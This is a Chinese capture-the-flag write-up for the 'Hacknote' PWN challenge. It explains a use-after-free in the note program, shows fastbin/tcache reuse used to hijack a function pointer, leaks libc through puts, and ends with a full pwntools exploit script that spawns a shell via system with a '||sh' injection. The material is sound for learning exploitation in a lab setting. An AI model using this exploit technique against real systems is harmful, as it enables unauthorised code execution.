攻防世界PWN之Hacknote题解
Hacknote
首先,查看程序的保护机制
然后拖入IDA分析
这是创建堆,并写入信息。
经过分析,大概是这样的
- typedef struct Note {
- void *func; //函数指针
- char *buf; //内容指针
- } Note;
- //保存Node的指针数组
- Note *notes[5];
- int i = 0;
- void show(Note *note) {
- //显示buf的内容
- puts((char *)(note + 4));
- }
- void create(int size) {
- Note *note = (Note *)malloc(0x8);
- note->func = show;
- note->buf = (char *)malloc(size);
- notes[i++] = note;
- }
再看看print功能
即调用
- notes[i]->func(notes[i]);
再看看delete功能
Free后没有把指针设置为NULL,这将会引起UAF漏洞
上述的释放是这样的
- free(note[i]->buf);
- free(note[i]);
如何利用UAF呢?
首先,我们先创建2个0x20的堆,释放后由fastbin或tcache bin维护
释放后,堆布局如下
块 |
大小(字节) |
状态 |
Note0 |
0x8 |
空闲 |
Buf0 |
0x20 |
空闲 |
Note1 |
0x8 |
空闲 |
Buf1 |
0x20 |
空闲 |
现在我们create(0x8),那么先会有
- Note *note = (Note *)malloc(0x8);
Fastbin或tcache bin中存在0x8的空闲块,那么直接返回那个空闲块的地址,这里返回的是note1的地址(因为fastbin或tcache使用单向链表维护,并且遵循后进先出的规则)
接下来,执行
- note->buf = (char *)malloc(size);
返回了note0的地址,由于我们的字符串是可以写入buf的,因此,我们写的字符串正好就可以写入note0的结构体。
那么,我们就可以修改note0的func和buf,来执行其他函数了。
首先,我们需要得到libc基地址,那么我们需要泄露一个函数的地址,这里,我们选用puts
- payload = p32(0x804862B) + p32(puts_got)
- #这个8字节空间正好分配到了note0的结构体处
- create(0x8,payload)
- #泄露puts的加载地址
- show(0)
接下来,我们用同样的方法
删除堆2,那么,现在堆的布局如下
块 |
大小(字节) |
状态 |
Buf2 (Note0) |
0x8 |
空闲 |
Buf0 |
0x20 |
空闲 |
Note2 (Note1) |
0x8 |
空闲 |
Buf1 |
0x20 |
空闲 |
我们再create(0x8),和上面同理
Note3分配到Note2 (Note1)处,Buf3分配到Buf2 (Note0)处
- payload = p32(system_addr) + '||sh'
- create(0x8,payload)
- # get shell
- show(0)
这个||sh是shell注入,因为按照原来的show的逻辑,是这样的
- system(note[i]);
而note[i]是一个结构体,前四字节是system的地址,接下来是||sh字符串,所以,传给system的字符串实际上时xxxx||sh,这是一种或表达式,相当于注入一样
因此,我们最终的exp脚本为
- #coding:utf8
- from pwn import *
- from LibcSearcher import *
- #sh = process('./hacknote')
- sh = remote('111.198.29.45',33242)
- elf = ELF('./hacknote')
- puts_got = elf.got['puts']
- puts_plt = elf.plt['puts']
- show_addr = 0x804862B
- def create(size,content):
- sh.sendlineafter('Your choice :','1')
- sh.sendlineafter('Note size :',str(size))
- sh.sendafter('Content :',content)
- def delete(index):
- sh.sendlineafter('Your choice :','2')
- sh.sendlineafter('Index :',str(index))
- def show(index):
- sh.sendlineafter('Your choice :','3')
- sh.sendlineafter('Index :',str(index))
- #创建二个堆
- create(0x20,'a'*0x20)
- create(0x20,'b'*0x20)
- delete(0)
- delete(1)
- payload = p32(0x804862B) + p32(puts_got)
- #这个8字节空间正好分配到了note0的结构体处
- create(0x8,payload)
- #泄露puts的加载地址
- show(0)
- #获得puts的加载地址
- puts_addr = u32(sh.recv(4))
- libc = LibcSearcher('puts',puts_addr)
- print hex(puts_addr)
- libc_base = puts_addr - libc.dump('puts')
- print 'libc base:',hex(libc_base)
- system_addr = libc_base + libc.dump('system')
- binsh_addr = libc_base + libc.dump('str_bin_sh')
- '''''
- libc = ELF('/usr/lib/libc-2.17.so')
- libc_base = puts_addr - libc.sym['puts']
- print 'libc base:',hex(libc_base)
- system_addr = libc_base + libc.sym['system']
- binsh_addr = libc_base + libc.search('/bin/sh').next()
- '''
- delete(2)
- payload = p32(system_addr) + '||sh'
- create(0x8,payload)
- # get shell
- show(0)
- sh.interactive()